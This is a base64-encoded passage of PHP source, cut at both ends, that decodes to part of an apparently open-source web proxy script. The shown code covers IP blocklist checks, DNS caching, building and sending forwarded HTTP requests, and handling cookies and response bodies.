IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdG